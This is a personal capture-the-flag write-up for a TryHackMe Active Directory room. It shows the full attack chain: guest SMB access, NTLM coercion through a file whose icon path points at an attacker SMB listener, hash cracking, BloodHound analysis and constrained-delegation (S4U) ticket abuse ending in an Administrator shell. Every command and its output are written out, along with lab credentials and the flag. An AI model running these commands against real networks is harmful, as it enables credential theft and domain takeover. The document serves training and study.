Proxy CTF
Table of Contents
Description
TryHackMe room: https://tryhackme.com/room/proxychallenge
Every request has to go through someone… but what if that someone is you? Route your way through an Active Directory environment, intercept what you shouldn't, and pull the strings from behind the proxy.
Related: BloodHound Pass the Ticket Lateral Movement Dead Drop CTF
CTF
Enumeration
Port scan
nmap -sV -sC -Pn --open -T4 $IP
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap Active Directory LDAP (Domain: ctf.local0.) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http 636/tcp open tcpwrapped 3268/tcp open ldap 3269/tcp open tcpwrapped 3389/tcp open ms-wbt-server | ssl-cert: Subject: commonName=DC01.ctf.local Host: DC01; Domain: ctf.local
Standard single domain controller. Added to /etc/hosts early
(DC01.ctf.local, ctf.local) since Kerberos operations later in
the chain require proper hostname resolution rather than raw IP —
SPNs and ticket requests will fail or mismatch against an IP alone.
SMB share enumeration
nxc smb $IP -u 'guest' -p '' --shares
Share Permissions Remark ----- ----------- ------ ADMIN$ Remote Admin C$ Default share IPC$ READ Remote IPC IT-Shared READ,WRITE IT Department Shared Resources NETLOGON Logon server share SYSVOL Logon server share
Null/guest session permitted. IT-Shared grants guest WRITE — a
significant misconfiguration exploited below.
IT-Shared contents
smbclient //10.128.174.70/IT-Shared -U 'guest%'
IT-Credentials-Backup.txt IT-Onboarding-Checklist.txt IT-Portal.html
- Credentials backup (dead end — verify before trusting)
IT Department - Credentials Backup Status: ARCHIVED (accounts disabled pending security review) helpdesk.bob : Welcome123! [DISABLED - left company 2021] it.admin : ITAdmin2019! [DISABLED - role change 2022]
Presented as disabled/archived — not used further in this chain, but worth treating any "disabled" claim in a found document as a claim to verify (
nxc smbagainst the DC) rather than as fact, since this is a common misdirection pattern. - Onboarding checklist — automated service disclosure
Automated Services ------------------ File Scanner (svc.scanner) Runs every 2 minutes. Enumerates IT-Shared for new files to process. Uses Shell enumeration to inspect file metadata and icons. Database Backup (svc.mssql) Handles nightly MSSQL backups. Member of Backup Operators.
Key detail:
svc.scannerautomatically inspects file metadata and icons for anything dropped intoIT-Shared, on a 2-minute cycle. Combined with WRITE access to the share, this is a direct NTLM coercion vector — an icon path pointing at an attacker-controlled SMB listener will forcesvc.scannerto authenticate outward. - IT Portal HTML
Static dashboard page: confirms
svc.scanneras an active service account (shown as "Logged in as: svc.scanner" in the page header), and lists other hosts (SRV01,SRV02) not yet in scope for this room.
Foothold
NTLM coercion via icon path — svc.scanner
Generated NTLM-theft artifacts and stood up a listener:
python ~/Downloads/ntlm_theft/ntlm_theft.py --generate modern --server 192.168.146.137 --filename 'note' sudo impacket-smbserver -smb2support EXEGOL $(pwd)
Crafted a .ps1 file whose icon path points at the attacker SMB
share, then uploaded it into IT-Shared (writable as guest):
Test-Path \\192.168.146.137\icons\icon.ico
smbclient //10.128.174.70/IT-Shared -U 'guest%' # smb: \> put test.ps1
Within the scanner's 2-minute cycle, svc.scanner processed the
file's icon metadata and authenticated outward to the attacker
listener, leaking a NetNTLMv2 hash:
[*] AUTHENTICATE_MESSAGE (CTF\svc.scanner,DC01) [*] User DC01\svc.scanner authenticated successfully svc.scanner::CTF:aaaaaaaaaaaaaaaa:a266d6b9892a43d7094243a29651c3bc:...
Cracking the captured hash
zcat /usr/share/wordlists/rockyou.txt.gz | sudo john --stdin ~/note/hash.txt
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) 1summerlove! (svc.scanner)
Credentials confirmed against SMB:
nxc smb $IP -u 'svc.scanner' -p '1summerlove!' --shares
[+] ctf.local\svc.scanner:1summerlove!
User enumeration — RID brute force
nxc smb $IP -u 'guest' -p '' --rid
Notable accounts recovered: svc.scanner, svc.mssql,
helpdesk.bob, it.admin (RIDs 1111-1114).
BloodHound collection
bloodhound-python --zip -c All -d ctf.local -u 'svc.scanner' -p '1summerlove!' \ -dc DC01.ctf.local -ns $IP
Graph analysis shows svc.scanner holds AllowedToDelegate
(constrained delegation) rights to the DC machine account. This
permits requesting a service ticket impersonating any user — including
Administrator — via S4U2Self/S4U2Proxy, without needing that user's
credentials at all.
Privilege Escalation
Constrained delegation abuse — S4U2Self/S4U2Proxy
Requested a service ticket for the cifs SPN on the DC, impersonating
Administrator, using svc.scanner's delegation rights:
impacket-getST -spn cifs/DC01.ctf.local -impersonate Administrator \ ctf.local/svc.scanner:'1summerlove!' -dc-ip 10.128.174.70
Loaded the forged ticket and authenticated to the DC as Administrator:
export KRB5CCNAME=Administrator@cifs_DC01.ctf.local@CTF.LOCAL.ccache impacket-psexec -k -no-pass DC01.ctf.local
type c:\users\administrator\desktop\flag.txt
THM{S4U2S3lf_C0nstr41ned_D3l3g4t10n_2_DA}
Classification: this is Constrained Delegation abuse (a specific, named AD ACL-abuse technique), not generic "privilege escalation" — worth keeping this precise given the exam's classification emphasis. Full chain from foothold to Domain Admin-equivalent access was personally executed end to end (coercion -> crack -> BloodHound analysis -> S4U ticket forge -> psexec), addressing the gap flagged after Dead Drop where the equivalent AD ACL-abuse step was only reconstructed from BloodHound data rather than actually run.
Flags
| Flag | Value | Status |
|---|---|---|
| Administrator | THM{S4U2S3lfC0nstr41nedD3l3g4t10n2DA} | DONE |
Findings Summary
| Finding | Classification | Severity |
|---|---|---|
| Guest/null session permitted on SMB | Security Misconfiguration | Medium |
| Guest holds WRITE on IT-Shared | Broken Access Control | High |
| Automated file-processing service coercible via icon metadata | Server-Side Request Forgery (NTLM coercion) | Critical |
| Weak service account password recovered via NetNTLMv2 crack | Broken Authentication | High |
| svc.scanner holds AllowedToDelegate to the domain controller | Broken Access Control (AD) — Constrained Delegation Abuse | Critical |
Notes
Clean single-path AD chain: SMB misconfiguration (guest write) enables NTLM coercion against an automated service, cracked hash yields valid low-privilege credentials, BloodHound reveals a constrained delegation misconfiguration, and S4U2Self/S4U2Proxy abuse converts that into full Administrator access — no lateral movement or additional pivoting required, since the vulnerable trust relationship pointed directly at the DC.
This room is a strong reference for constrained delegation abuse
specifically — worth returning to this note directly if the technique
comes up again, since the getST syntax, ticket-loading steps, and
BloodHound interpretation are all captured end to end here.